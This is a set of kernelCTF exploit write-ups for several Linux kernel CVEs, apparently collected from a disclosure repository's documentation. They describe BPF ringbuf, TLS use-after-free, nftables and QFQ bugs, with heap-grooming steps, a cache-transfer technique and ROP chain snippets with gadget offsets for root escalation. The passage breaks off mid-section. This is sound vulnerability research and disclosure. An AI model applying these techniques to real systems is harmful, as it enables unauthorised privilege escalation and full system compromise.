        long unsigned int          producer_pos __attribute__((__aligned__(4096))); /* 0x2000   0x8 */
        char                       data[] __attribute__((__aligned__(4096))); /* 0x3000     0 */
};

It's a variable-length object that stores both metadata and the contents of the ringbuf and it is allocated using alloc_pages_node() + vmap() in bpf_ringbuf_area_alloc().

Here's how this object is initialized:

static struct bpf_ringbuf *bpf_ringbuf_alloc(size_t data_sz, int numa_node)
{
        struct bpf_ringbuf *rb;

        rb = bpf_ringbuf_area_alloc(data_sz, numa_node);
        if (!rb)
                return NULL;

        spin_lock_init(&rb->spinlock);
        init_waitqueue_head(&rb->waitq);
        init_irq_work(&rb->work, bpf_ringbuf_notify);

        rb->mask = data_sz - 1;
        rb->consumer_pos = 0;
        rb->producer_pos = 0;

        return rb;
}

One of the most important fields is 'mask' - it stores the data size of a ringbuf (max_entries-1) and is used by bpf_ringbuf_reserve() to check if the size requested by the caller is within the boundaries of the ringbuf.

Stage 1 BPF program makes only 2 calls:

1. rec = ringbuf_reserve(ringbuf, 0x10, 0) // rec == rb->data+8
2. ringbuf_discard(rec - 0x2fd0) // rec - 0x2fd0 == &rb->mask + 8

ringbuf_discard() is handled by the bpf_ringbuf_commit() with discard=true argument:

static void bpf_ringbuf_commit(void *sample, u64 flags, bool discard)
{
        unsigned long rec_pos, cons_pos;
        struct bpf_ringbuf_hdr *hdr;
        struct bpf_ringbuf *rb;
        u32 new_len;

        hdr = sample - BPF_RINGBUF_HDR_SZ; // [1]
        rb = bpf_ringbuf_restore_from_rec(hdr);
        new_len = hdr->len ^ BPF_RINGBUF_BUSY_BIT;
        if (discard)
                new_len |= BPF_RINGBUF_DISCARD_BIT;

        /* update record header with correct final size prefix */
        xchg(&hdr->len, new_len); // [2]
...
}

struct bpf_ringbuf_hdr {
        u32 len;
        u32 pg_off;
};

Because we pointed sample at &rb->mask + 8, hdr at [1] will point at rb->mask, so hdr.len maps to the first 32 bits of rb->mask.
Our ringbuf was created with max_entries value of 0x2000, so rb->mask / hdr->len is 0x1fff at this point.
After OR-ing with BPF_RINGBUF_DISCARD_BIT new_len becomes 0xc0001fff and this value is saved in rb->mask at [2].

This means we are now able to read/write to ~3 GB of memory starting at rb->data.

Stage 2 - leaking kernel function pointer Copy Chapter

This program makes following operations:

1. rec = ringbuf_reserve(ringbuf, 0x6000, 0)
2. fnptr = rec[0x4fe0 + 0x28] // This points to work.func field of the second allocated ringbuf
3. ctx->cb[0] = fnptr // for socket filters context is struct __sk_buff and we are able to write only to selected fields like cb
4. ringbuf_discard(rec, 1)

We can now read the address of bpf_ringbuf_notify from the context to calculate the kernel base.

Stage 3 - writing ROP to an array map and overwriting bpf_prog->bpf_func Copy Chapter

BPF program objects (struct bpf_prog) are allocated using vmalloc so we can place one after our ringbuf objects.
The most important field of that object is:

unsigned int               (*bpf_func)(const void  *, const struct bpf_insn  *); /*  0x30   0x8 */

This is a function that gets called when a BPF program is executed.

Here's what our stage 3 program does:

1. rec = ringbuf_reserve(ringbuf, 0x20000)
2. new_bpf_func = ctx->cb[0] // Address of a pivot gadget
3. rec[0xcfd8 + 0x30] = new_bpf_func // &bpf_prog.bpf_func
4. skb_load_bytes(test_data_in, 0, 0xcfd8 + 0x48, 0x100) // &bpf_prog.insn
5. ringbuf_discard(rec, 1)

This overwrites bpf_func of the stage4 program and copies ROP provided as skb data to bpf_prog.insn[].

Stage 4 - executing program to get RIP control Copy Chapter

All we have to do now is run the stage 4 program to get RIP control.

Pivot to ROP Copy Chapter

When .bpf_func is called, RSI contains a pointer to bpf_prog.insn, where our ROP is located.

Only 2 gadgets are needed to pivot to the ROP chain:

push rsi
jmp qword ptr [rsi + 0x66]

and

pop rsp

Privilege escalation Copy Chapter

The ROP chain does the standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and returns to the userspace.

Pocs Linux Kernelctf CVE 2022 23222 Cos Docs Vulnerability (`pocs/linux/kernelctf/CVE-2022-23222_cos/docs/vulnerability.md`) Copy Section

Requirements to trigger the vulnerability Copy Chapter

• Kernel configuration: CONFIG_BPF and CONFIG_BPF_SYSCALL
• User namespaces required: no

Commit which introduced the vulnerability Copy Chapter

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=457f44363a8894135c85b7a9afd2bd8196db24ab

Commit which fixed the vulnerability Copy Chapter

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=64620e0a1e712a778095bd35cbb277dc2259281f

Affected kernel versions Copy Chapter

Introduced in 5.8. Fixed in 5.15.157 and other stable trees.

Affected component, subsystem Copy Chapter

bpf

Description Copy Chapter

Commit message explains the verifier issue well:

Both bpf_ringbuf_submit() and bpf_ringbuf_discard() have ARG_PTR_TO_ALLOC_MEM
in their bpf_func_proto definition as their first argument. They both expect
the result from a prior bpf_ringbuf_reserve() call which has a return type of
RET_PTR_TO_ALLOC_MEM_OR_NULL.

Meaning, after a NULL check in the code, the verifier will promote the register
type in the non-NULL branch to a PTR_TO_MEM and in the NULL branch to a known
zero scalar. Generally, pointer arithmetic on PTR_TO_MEM is allowed, so the
latter could have an offset.

The ARG_PTR_TO_ALLOC_MEM expects a PTR_TO_MEM register type. However, the non-
zero result from bpf_ringbuf_reserve() must be fed into either bpf_ringbuf_submit()
or bpf_ringbuf_discard() but with the original offset given it will then read
out the struct bpf_ringbuf_hdr mapping.

The verifier missed to enforce a zero offset, so that out of bounds access
can be triggered which could be used to escalate privileges if unprivileged
BPF was enabled (disabled by default in kernel).

bpf_ringbuf_submit() and bpf_ringbuf_discard() expect the argument to point to a valid ringbuf record and use it to calculate an address to a struct bpf_ringbuf_hdr without any further checks.

Because of the verifier bug described above we can cause bpf_ringbuf_submit()/bpf_ringbuf_discard() to interpret any data as bpf_ringbuf_hdr, causing out-of-bounds read/write issues leading to arbitrary code execution.

Pocs Linux Kernelctf CVE 2023 0461 Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md`) Copy Section

Attacking Objects

• Heap grooming: cbq_class + pfifo Qdisc [kmalloc-512]
• Cache transfer: fqdir (bucket_table pointer) [UAF from kmalloc-512 to dyn-kmalloc-1k]
• Information leak/KASLR bypass: user_key_payload + tbf Qdisc (tbf_qdisc_ops) [dyn-kmalloc-1k]
• RIP control: tbf Qdisc (RIP hijacked via qdisc->enqueue()) [dyn-kmalloc-1k]

TL;DR

Transfer exploitation primitives from a fixed to a dynamic cache exploiting fqdir objects to cause a Use-After-Free in dyn-kmalloc-1k from kmalloc-512.

Once in the dynamic cache, corrupt a user_key_payload structure with a Qdisc object and leak the tbf_qdisc_ops pointer to bypass KASLR.

Finally, corrupt the Qdisc structure and send data to the respective network interface to hijack control flow when packets are enqueued.

Overview

PS: This exploit originally targeted the mitigation-6.1-broken instance, it was later slightly modified to work on mitigation-6.1-v2.
The technique used to compromise both instances remains the same.

In the Linux kernel, there are multiple objects allocated in fixed caches that contain pointers to other structures allocated in dynamic caches.

The fqdir structure, allocated in kmalloc-512 when a new network namespace is initialized, with its bucket_table pointer (fqdir->rhashtable.tbl), allocated in dyn-kmalloc-1k (fqdir_init() -> rhashtable_init() -> bucket_table_alloc()), is an example.

/* Per netns frag queues directory */
struct fqdir {
	/* sysctls */
	long			high_thresh;
	long			low_thresh;
	int			timeout;
	int			max_dist;
	struct inet_frags	*f;
	struct net		*net;
	bool			dead;
	struct rhashtable       rhashtable ____cacheline_aligned_in_smp; // ***

	/* Keep atomic mem on separate cachelines in structs that include it */
	atomic_long_t		mem ____cacheline_aligned_in_smp;
	struct work_struct	destroy_work;
	struct llist_node	free_list;
};

struct rhashtable {
	struct bucket_table __rcu	*tbl; // ***
	unsigned int			key_len;
	unsigned int			max_elems;
	struct rhashtable_params	p;
	bool				rhlist;
	struct work_struct		run_work;
	struct mutex                    mutex;
	spinlock_t			lock;
	atomic_t			nelems;
};

struct bucket_table {
	unsigned int		size;
	unsigned int		nest;
	u32			hash_rnd;
	struct list_head	walkers;
	struct rcu_head		rcu;
	struct bucket_table __rcu *future_tbl;
	struct lockdep_map	dep_map;
	struct rhash_lock_head __rcu *buckets[] ____cacheline_aligned_in_smp;
};

The idea behind the technique used in this exploit, is that corrupting these kind of objects in a fixed cache utilizing a slab-use-after-free/double-free or a slab-out-of-bounds, it is possible to transfer exploitation primitives from a fixed to a dynamic cache, bypassing the object separation offered by CONFIG_KMALLOC_SPLIT_VARSIZE.

Once in the dynamic cache, elastic objects can be "unlocked" to complete the exploitation process. In this writeup I refer to this attack as cache transfer.

Exploit Analysis

The exploit consists of three stages:

• Cache transfer (UAF from kmalloc-512 to dyn-kmalloc-1k)
• KASLR bypass (in dyn-kmalloc-1k)
• RIP-control (in dyn-kmalloc-1k)

Cache Transfer Copy Chapter

After initializing some dummy network interfaces and some heap grooming in kmalloc-512 utilizing cbq_class and pfifo Qdisc objects, both allocated by cbq_change_class() (1, 2) when a new cbq traffic class is created, I exploited CVE-2023-0461 to make the icsk_ulp_data pointers of two sockets point to the same tls_context in kmalloc-512.

Freeing one of the sockets, the tls_context structure was also freed, so I could cause a Use-After-Free as the icsk_ulp_data pointer of the other socket was still pointing to the freed object. (Step 1.0 in exploit.c)

I proceeded by replacing the freed tls_context in kmalloc-512 with a fqdir structure, this way, freeing the second socket I could arbitrarily free the fqdir object. (Step 1.1 in exploit.c)

In the next step, I exploited the Use-After-Free spraying fqdir again. This time my goal was to overlap another fqdir to the one just freed, making their bucket_table pointers point to the same table in dyn-kmalloc-1k. (Step 1.2 in exploit.c)

At this point, freeing one of the overlapped objects, the shared bucket_table was also freed (fqdir_exit() -> fqdir_work_fn() -> rhashtable_free_and_destroy() -> bucket_table_free()), so I could cause a Use-After-Free in dyn-kmalloc-1k as the bucket_table pointer of the other fqdir was still pointing to the freed table. (Step 1.3 in exploit.c)

Now I only had to replace the freed table with a user_key_payload structure, then, freeing the second fqdir, I could arbitrarily free the user key and complete the cache transfer. (Step 1.4 - 1.5 in exploit.c)

struct user_key_payload {
	struct rcu_head	rcu;
	unsigned short	datalen; // ***
	char		data[] __aligned(__alignof__(u64)); // ***
};

KASLR Bypass Copy Chapter

Once in dyn-kmalloc-1k, I overlapped the freed key with a tbf Qdisc structure (allocated by qdisc_alloc()), overwriting the key size with Qdisc.flags (0x10) and the first qword of the key payload with Qdisc.ops, tbf_qdisc_ops in this case. (Step 2.0 in exploit.c)

struct Qdisc {
	int 			(*enqueue)(struct sk_buff *skb,
					   struct Qdisc *sch,
					   struct sk_buff **to_free); // ***
	struct sk_buff *	(*dequeue)(struct Qdisc *sch);
	unsigned int		flags; // ***
	u32			limit;
	const struct Qdisc_ops	*ops; // ***
	struct qdisc_size_table	__rcu *stab;
	struct hlist_node       hash;
	u32			handle;
	u32			parent;

	struct netdev_queue	*dev_queue;

	struct net_rate_estimator __rcu *rate_est;
	struct gnet_stats_basic_sync __percpu *cpu_bstats;
	struct gnet_stats_queue	__percpu *cpu_qstats;
	int			pad;
	refcount_t		refcnt;

	/*
	 * For performance sake on SMP, we put highly modified fields at the end
	 */
	struct sk_buff_head	gso_skb ____cacheline_aligned_in_smp;
	struct qdisc_skb_head	q;
	struct gnet_stats_basic_sync bstats;
	struct gnet_stats_queue	qstats;
	unsigned long		state;
	unsigned long		state2; /* must be written under qdisc spinlock */
	struct Qdisc            *next_sched;
	struct sk_buff_head	skb_bad_txq;

	spinlock_t		busylock ____cacheline_aligned_in_smp;
	spinlock_t		seqlock;

	struct rcu_head		rcu;
	netdevice_tracker	dev_tracker;
	/* private data */
	long privdata[] ____cacheline_aligned;
};

After corrupting the user key, I leaked the tbf_qdisc_ops pointer from the Qdisc structure so I could bypass KASLR. (Step 2.1 in exploit.c)

RIP-Control Copy Chapter

In the final steps, I freed all the keys in dyn-kmalloc-1k including the one corrupted by Qdisc, and I reallocated them, overwriting the Qdisc structure. I overwritten the qdisc->enqueue() function pointer with a stack pivot gadget storing the rest of the ROP-chain in the same chunk. (Step 3.0 - 3.1 in exploit.c)

Finally, I sent packets to the network interface to trigger the call to dev_qdisc_enqueue() in __dev_xmit_skb(), this way I could hijack control flow. (Step 3.2 in exploit.c)

Note that when qdisc->enqueue() is called, RSI (and RBP in other kernel builds) already contains the address of the corrupted Qdisc chunk itself, where the ROP-chain was stored, so it is not necessary to leak a heap address / know the address of the corrupted chunk.

Post-RIP Copy Chapter

After hijacking control flow, two problems arose. Since qdisc->enqueue() is called in an atomic / RCU read-side critical section, when I returned to user space, instead of getting a root shell, the kernel panicked showing two error messages:

• "Illegal context switch in RCU read-side critical section"

• "BUG: scheduling while atomic: [...]"

Fortunately, I managed to bypass both of them.

To bypass "RCU read-side critical section", a write-what-where gadget was used in the ROP-chain to set current->rcu_read_lock_nesting = 0.

// current = find_task_by_vpid(getpid())
	rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
	rop[idx++] = getpid();                   // pid
	rop[idx++] = kbase + 0xffffffff8110a0d0; // find_task_by_vpid

	// current += offsetof(struct task_struct, rcu_read_lock_nesting)
	rop[idx++] = kbase + 0xffffffff810a08ae; // pop rsi ; ret
	rop[idx++] = 0x46c;                      // offsetof(struct task_struct, rcu_read_lock_nesting)
	rop[idx++] = kbase + 0xffffffff8107befa; // add rax, rsi ; jmp 0xffffffff82404440 (retpoline)

	// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
	rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
	rop[idx++] = 0;                          // 0
	rop[idx++] = kbase + 0xffffffff8167104b; // mov qword ptr [rax], rcx ; jmp 0xffffffff82404440 (retpoline)

To bypass "scheduling while atomic" instead, the kernel was tricked into believing that a oops was in progress setting oops_in_progress to 1:

// Bypass "schedule while atomic": set oops_in_progress = 1 
	rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
	rop[idx++] = 1;                          // 1
	rop[idx++] = kbase + 0xffffffff810a08ae; // pop rsi ; ret
	rop[idx++] = kbase + 0xffffffff8419f478; // oops_in_progress
	rop[idx++] = kbase + 0xffffffff81246359; // mov qword ptr [rsi], rdi ; jmp 0xffffffff82404440 (retpoline)

If oops_in_progress contains a non-zero value indeed, __schedule_bug() will simply return without triggering any error, and we will be able to gracefully return to userspace.

Additional information

mitigation-6.1-v2 update: After enabling the KMALLOC_SPLIT_VARSIZE mitigation and making some minor adjustments to the source code, the exploit reliability improved to about 80%, even though limited time was dedicated to this aspect.
This may at first seem paradoxical, but it is actually a side effect of separating objects into multiple caches, slabs tend to be less prone to noise, and this leads to increased stability.

Considering that my original exploit for this vulnerability for a system without experimental mitigations was only ~150 lines of code, did not require user namespaces, and was very stable, the experimental mitigations, despite being bypassed by the technique described above, are very effective and have successfully stopped many of my other exploitation strategies. I will probably cover some of these failed (but very interesting!) attempts on my blog.

Pocs Linux Kernelctf CVE 2023 0461 Mitigation Docs Novel Techniques (`pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/novel-techniques.md`) Copy Section

Exploitation techniques

To my knowledge, the following exploitation techniques are not known/publicly-documented:

• Cache transfer (Mitigation bypass): In the Linux kernel, there are multiple structures allocated in fixed caches that contain pointers to other objects allocated in dynamic caches. These structures act as junction points between fixed and dynamic caches.

  Corrupting this kind of objects it is possible to transfer exploitation primitives from a fixed to a dynamic cache bypassing the object separation offered by CONFIG_KMALLOC_SPLIT_VARSIZE.

  For example, for this submission, I exploited fqdir objects and their bucket_table pointers to cause a Use-After-Free in dyn-kmalloc-1k from kmalloc-512 (See exploit.md/comments in exploit.c for more details). Once in the dynamic cache, I could "unlock" elastic objects to complete the exploitation process.

  The technique can be generalized and applied in other fixed caches looking for objects with similar properties. In this case the exploited vulnerability was a Use-After-Free, but it is also possible to apply the technique exploiting Out-Of-Bounds-Write vulnerabilities (e.g. partially overwriting a pointer to an object in a dynamic cache, making it point to another object in the slab, and then tricking the kernel into freeing the wrong structure).

• RIP-Control via Qdisc: Overwriting the enqueue() function pointer of a Qdisc structure, it is possible to hijack control flow when packets are enqueued to the respective network interface by dev_qdisc_enqueue() in __dev_xmit_skb().

  A heap leak is not required because when control flow is hijacked, RSI (and RBP in other kernel builds) already contains the address of the corrupted Qdisc chunk, where the ROP-chain was stored.

  Qdisc structures, are allocated by qdisc_alloc(). The allocation size is determined by the size of the private flexible array. Sometimes the Qdisc size can be determined at compile time, so this object is particularly interesting because it can be used to hijack control flow in both fixed and dynamic caches.

  For this submission, I used the tbf packet scheduler with the tbf_sched_data used as private field of a Qdisc, so the object was allocated in dyn-kmalloc-1k.

Post-RIP

• Sometimes, after RIP control, exploits do not work because the ROP-chain is executed in an atomic context. In that case the kernel panics showing a "scheduling while atomic" message.

  For example, in this very interesting kCTF writeup, Kylebot hijacked control flow utilizing timerfd_ctx objects, overwriting timerfd_ctx->tmr.function, but "scheduling while atomic" prevented him from getting a root shell, so he had to opt for another strategy.

  To get around this problem, the kernel can be tricked into believing that a oops is in progress setting oops_in_progress to a non-zero value. This way
  __schedule_bug() will return without triggering any error:

// Bypass "schedule while atomic": set oops_in_progress = 1 
	rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
	rop[idx++] = 1;                          // 1
	rop[idx++] = kbase + 0xffffffff810a08ae; // pop rsi ; ret
	rop[idx++] = kbase + 0xffffffff8419f478; // oops_in_progress
	rop[idx++] = kbase + 0xffffffff81246359; // mov qword ptr [rsi], rdi ; jmp 0xffffffff82404440 (retpoline)

• Another similar problem arises when the ROP-chain is executed in a RCU read-side critical section. This problem can be easily bypassed setting current->rcu_read_lock_nesting = 0:

// current = find_task_by_vpid(getpid())
	rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
	rop[idx++] = getpid();                   // pid
	rop[idx++] = kbase + 0xffffffff8110a0d0; // find_task_by_vpid

	// current += offsetof(struct task_struct, rcu_read_lock_nesting)
	rop[idx++] = kbase + 0xffffffff810a08ae; // pop rsi ; ret
	rop[idx++] = 0x46c;                      // offsetof(struct task_struct, rcu_read_lock_nesting)
	rop[idx++] = kbase + 0xffffffff8107befa; // add rax, rsi ; jmp 0xffffffff82404440 (retpoline)

	// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
	rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
	rop[idx++] = 0;                          // 0
	rop[idx++] = kbase + 0xffffffff8167104b; // mov qword ptr [rax], rcx ; jmp 0xffffffff82404440 (retpoline)

Pocs Linux Kernelctf CVE 2023 0461 Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilities: No
  • Kernel configuration: CONFIG_TLS or CONFIG_XFRM_ESPINTCP
  • User namespaces required: No
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=734942cc4ea6478eed125af258da1bdbb4afe578 (tcp: ULP infrastructure)
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2c02d41d71f90a5168391b6a5f2954112ba2307c (net/ulp: prevent ULP without clone op from entering the LISTEN status)
• Affected kernel versions: 4.13-rc1 - 6.2-rc3
• Affected component: net/tls
• Cause: Use-After-Free
• Syscall to disable: setsockopt TCP_ULP
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-0461
• Description:
  There is a use-after-free vulnerability in the Linux Kernel which can be exploited to achieve local privilege escalation. To reach the vulnerability kernel configuration flag CONFIG_TLS or CONFIG_XFRM_ESPINTCP has to be configured, but the operation does not require any privilege. There is a use-after-free bug of icsk_ulp_data of a struct inet_connection_sock. When CONFIG_TLS is enabled, user can install a tls context (struct tls_context) on a connected tcp socket. The context is not cleared if this socket is disconnected and reused as a listener. If a new socket is created from the listener, the context is inherited and vulnerable. The setsockopt TCP_ULP operation does not require any privilege.

Pocs Linux Kernelctf CVE 2023 31248 Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/exploit.md`) Copy Section

Overview

In in nftables, three functions, nft_chain_lookup(), nft_chain_lookup_byhandle(), and nft_chain_lookup_byid(), are used to lookup a chain.

static struct nft_chain *nft_chain_lookup(struct net *net,
					  struct nft_table *table,
					  const struct nlattr *nla, u8 genmask)
{
	...

	rhl_for_each_entry_rcu(chain, tmp, list, rhlhead) {
		if (nft_active_genmask(chain, genmask))
			goto out_unlock;
	}
	chain = ERR_PTR(-ENOENT);
out_unlock:
	rcu_read_unlock();
	return chain;
}

static struct nft_chain *nft_chain_lookup_byid(const struct net *net,
					       const struct nft_table *table,
					       const struct nlattr *nla)
{
	struct nftables_pernet *nft_net = nft_pernet(net);
	u32 id = ntohl(nla_get_be32(nla));
	struct nft_trans *trans;

	list_for_each_entry(trans, &nft_net->commit_list, list) {
		struct nft_chain *chain = trans->ctx.chain;

		if (trans->msg_type == NFT_MSG_NEWCHAIN &&
		    chain->table == table &&
		    id == nft_trans_chain_id(trans))
			return chain;
	}
	return ERR_PTR(-ENOENT);
}

nft_chain_lookup() and nft_chain_lookup_byhandle() check whether the chain is active by calling nft_active_genmask() when looking up the chain. In contrast, nft_chain_lookup_byid() does not perform this check. As a result, a use-after-free vulnerability occurs by referencing an inactive chain.

static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
			    struct nft_data_desc *desc, const struct nlattr *nla)
{
	...
	switch (data->verdict.code) {
	...
	case NFT_JUMP:
	case NFT_GOTO:
		if (tb[NFTA_VERDICT_CHAIN]) {
			chain = nft_chain_lookup(ctx->net, ctx->table,
						 tb[NFTA_VERDICT_CHAIN],
						 genmask);
		} else if (tb[NFTA_VERDICT_CHAIN_ID]) {
			chain = nft_chain_lookup_byid(ctx->net, ctx->table,
						      tb[NFTA_VERDICT_CHAIN_ID]);
			if (IS_ERR(chain))
				return PTR_ERR(chain);
		} else {
			return -EINVAL;
		}

		if (IS_ERR(chain))
			return PTR_ERR(chain);
		if (nft_is_base_chain(chain))
			return -EOPNOTSUPP;
		if (nft_chain_is_bound(chain))
			return -EINVAL;
		if (desc->flags & NFT_DATA_DESC_SETELEM &&
		    chain->flags & NFT_CHAIN_BINDING)
			return -EINVAL;

		chain->use++;
		data->verdict.chain = chain;
		break;
	}

	desc->len = sizeof(data->verdict);

	return 0;
}

If we delete the chain after creating it, it becomes inactive until destroying. Then, we can create a nft_expr that refers to an inactive chain by calling nft_chain_lookup_byid() in nft_verdict_init(). When the rule that includes this expr is deleted, the reference counter of the chain becomes 0, the chain is actually freed. Finally, in the destroy phase of the rule, nft_immediate_destroy() is called, and use-after-free is triggered referring to data->verdict.chain that has already been freed.

static void nft_immediate_destroy(const struct nft_ctx *ctx,
				  const struct nft_expr *expr)
{
	const struct nft_immediate_expr *priv = nft_expr_priv(expr);
	const struct nft_data *data = &priv->data;
	struct nft_rule *rule, *n;
	struct nft_ctx chain_ctx;
	struct nft_chain *chain;

	if (priv->dreg != NFT_REG_VERDICT)
		return;

	switch (data->verdict.code) {
	case NFT_JUMP:
	case NFT_GOTO:
		chain = data->verdict.chain;

		if (!nft_chain_is_bound(chain))
			break;

		chain_ctx = *ctx;
		chain_ctx.chain = chain;

		list_for_each_entry_safe(rule, n, &chain->rules, list)
			nf_tables_rule_release(&chain_ctx, rule);

		nf_tables_chain_destroy(&chain_ctx);
		break;
	default:
		break;
	}
}

Triggering Vulnerability

1. Create Table 1
2. Create Chain Trigger
3. Create Chain Target
4. Delete Chain Trigger
5. Create Rule Trigger under Chain Target with immediate expr referring to Chain Trigger
6. Delete Rule Trigger

Exploitation

To be updated.

Pocs Linux Kernelctf CVE 2023 31248 Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilities: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=837830a4b439bfeb86c70b0115c280377c84714b (netfilter: nf_tables: add NFTA_RULE_CHAIN_ID attribute)
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=515ad530795c118f012539ed76d02bacfd426d89 (netfilter: nf_tables: do not ignore genmask when looking up chain by id)
• Affected Version: v5.9-rc1 - v6.5-rc1
• Affected Component: net/netfilter
• Cause: Use-After-Free
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-31248
• Description: Linux Kernel nftables Use-After-Free Local Privilege Escalation Vulnerability; nft_chain_lookup_byid() failed to check whether a chain was active and CAP_NET_ADMIN is in any user or network namespace

Pocs Linux Kernelctf CVE 2023 31436 Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-31436_mitigation/docs/exploit.md`) Copy Section

Exploit Details

Exploit demo for CVE-2023-31436.
Flag: kernelCTF{v1:mitigation-6.1-v2:1688980403:8075e41586a95a7128a3f9feb6dfddd242bcc92d}

Summary

At a high level the exploit performs the following:

• Spray QFQ qdiscs along with user controlled buffers into dyn-kmalloc-8192
• Spray user controlled objects into kmalloc-128
• Trigger the vulnerability into one user controlled buffer, leaving us with a controllable struct qfq_group object
• Use the controlled struct qfq_group object to corrupt the struct qfq_sched->filter_list member so that it
  points to our user controlled object in kmalloc-128

Note: The original exploit targeted the mitigation-6.1-broken instance, it was later modified to work on mitigation-6.1-v2.

Steps in Detail

Step 1: Abusing the Vulnerability Copy Chapter

Triggering the vulnerability is trivial, though actually taking something useful
out of the out-of-bounds group is not obvious.
Even though the pointer is used in a few places I only identified two places which
seem particularly interesting from a exploitation perspective:

static void qfq_slot_insert(struct qfq_group *grp, struct qfq_aggregate *agg,
			    u64 roundedS)
{
// ...
	hlist_add_head(&agg->next, &grp->slots[i]); // [1.1]
	__set_bit(slot, &grp->full_slots);          // [1.2]
}


static void qfq_schedule_agg(struct qfq_sched *q, struct qfq_aggregate *agg)
{
	struct qfq_group *grp = agg->grp;
// ...
	s = qfq_calc_state(q, grp);
	__set_bit(grp->index, &q->bitmaps[s]); // [2]
// ...
}

Looking at qfq_slot_insert we can see that we can write a pointer to a aggregate
into the slots array [1.1]. Controlling i is not trivial, but may be possible.
This way we can potentially write a pointer into a following object in the dyn-kmalloc-8192
slab.
Eventually this could lead to a UaF scenario after the aggregate is destroyed.
Due to the complexities involved in controlling the index along with the correct
alignment I decided against this path.

This leaves us with a bit set operation at a controlled index [2].
The idea will be to flip a bit on a pointer to eventually cause a type confusion.
Looking at the struct qfq_sched we can see that there are only few members
available to us after the bitmaps[] member (we cannot use a negative index).

struct qfq_sched {
	struct tcf_proto __rcu *filter_list;
	struct tcf_block	*block;
	struct Qdisc_class_hash clhash;

	u64			oldV, V;	/* Precise virtual times. */
	struct qfq_aggregate	*in_serv_agg;   /* Aggregate being served. */
	u32			wsum;		/* weight sum */
	u32			iwsum;		/* inverse weight sum */

	unsigned long bitmaps[QFQ_MAX_STATE];	    /* Group bitmaps. */
	struct qfq_group groups[QFQ_MAX_INDEX + 1]; /* The groups. */
	u32 min_slot_shift;	/* Index of the group-0 bit in the bitmaps. */

	u32 max_agg_classes;		/* Max number of classes per aggr. */
	struct hlist_head nonfull_aggs; /* Aggs with room for more classes. */
};

The nonfull_aggs member is interesting as this list will be used to lookup
aggregates when creating new classes:

static struct qfq_aggregate *qfq_find_agg(struct qfq_sched *q,
					  u32 lmax, u32 weight)
{
	struct qfq_aggregate *agg;

	hlist_for_each_entry(agg, &q->nonfull_aggs, nonfull_next)
		if (agg->lmax == lmax && agg->class_weight == weight)
			return agg;

	return NULL;
}

Originally I planned to smuggle a fake qfq_aggregate into the qdisc which is
hopefully freed when destroying the class that possesses it.
This way we can have a UaF in the kmalloc-128 slab.
Anyway I could not find a suitable object which would allow us to control all the
relevant members (lmax, class_weight, num_classes).
Therefor we will try to flip a bit on an object after the qdisc.
Naturally this will be the object that we used to create the fake group, however
the following seemed easier (though less stable):

+-qfq qdisc----+
| ...          |
| filter_list  | ---------------------+
| ...          |                      +-----> 0100 +-tcf_proto-+
| bitmaps[]    |                                   |           |
| groups[]     |                                   |           |
| ...          |                                   +-----------+
+--------------+
                                              0180 +-fake obj--+
+-controlled o-+                                   |           +
| ...          |                                   |           +
| fake grp {}  |                                   +-----------+
|              |
| ...          |         +---x--------------> 0200 +-tcf_proto-+
| ...          |         |   x                     |           |
|              |         |   x flip                |           |
+--------------+         |   x a bit               +-----------+
                         |   x
+-qfq qdisc----+         |   x--------------> 0280 +-fake obj--+
| ...          |         |                         |           |
| filter_list  | --------+                         |           |
| ...          |                                   +-----------+
| bitmaps[]    |
| groups[]     |                              0300 +-fake obj--+
| ...          |                                   |           |
+--------------+                                   |           |
                                                   +-----------+

By targeting a bit of the filter_list member of the qdisc after the user controlled
object we will potentially be able to inject a malicious struct tcf_proto object
into the qdisc.
This object can be abused for trivial RIP control via the classify() member,
which will be called in qfq_enqueue.

// in include/net/sch_generic.h

struct tcf_proto {
	/* Fast access part */
	struct tcf_proto __rcu	*next;
	void __rcu		*root;

	/* called under RCU BH lock*/
	int			(*classify)(struct sk_buff *,
					    const struct tcf_proto *,
					    struct tcf_result *);
	__be16			protocol;

	/* All the rest */
	u32			prio;
	void			*data;
	const struct tcf_proto_ops	*ops;
	struct tcf_chain	*chain;
	/* Lock protects tcf_proto shared state and can be used by unlocked
	 * classifiers to protect their private data.
	 */
	spinlock_t		lock;
	bool			deleting;
	refcount_t		refcnt;
	struct rcu_head		rcu;
	struct hlist_node	destroy_ht_node;
};

Step 1.1: QFQ Internal State Control Copy Section

